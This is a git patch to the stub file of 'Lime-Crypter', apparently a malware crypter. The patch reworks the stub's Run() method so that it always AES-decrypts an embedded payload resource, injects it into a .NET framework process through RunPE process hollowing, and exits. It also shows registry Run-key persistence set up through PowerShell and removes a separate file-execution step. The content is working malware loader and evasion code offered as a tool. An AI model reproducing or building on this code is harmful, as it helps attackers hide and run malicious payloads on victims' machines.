From 241e55cf2ff3b91c349b3a8f6a2521070380f507 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sat, 17 Aug 2019 11:39:35 +0300 Subject: [PATCH] Update Stub.cs --- Lime-Crypter/Resources/Stub.cs | 17 ++--------------- 1 file changed, 2 insertions(+), 15 deletions(-) diff --git a/Lime-Crypter/Resources/Stub.cs b/Lime-Crypter/Resources/Stub.cs index 4a2d4c8..6ff2ef9 100644 --- a/Lime-Crypter/Resources/Stub.cs +++ b/Lime-Crypter/Resources/Stub.cs @@ -91,15 +91,11 @@ public void Run() CreateDirectory(); InstallFile(); InstallRegistry(); - ExecuteFile(); } catch { } } - else - { - RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), "#Injection"), Program.AES_Decrypt(Program.GetResource("#Payload")), false); - Environment.Exit(0); - } + RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), "#Injection"), Program.AES_Decrypt(Program.GetResource("#Payload")), false); + Environment.Exit(0); } /// @@ -158,15 +154,6 @@ public void InstallRegistry() "New-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '" + RegistryName + "' -Value '" + Path.Combine(DirectoryName.FullName, FileName.Name) + "' -PropertyType 'String'"); } - /// - /// final step, run it and exit - /// - public void ExecuteFile() - { - Powershell("Start-Sleep -Seconds 1; Start-Process -FilePath '" + Path.Combine(DirectoryName.FullName, FileName.Name) + "'"); - Environment.Exit(0); - } - public void Powershell(string args) { ProcessStartInfo processStart = new ProcessStartInfo()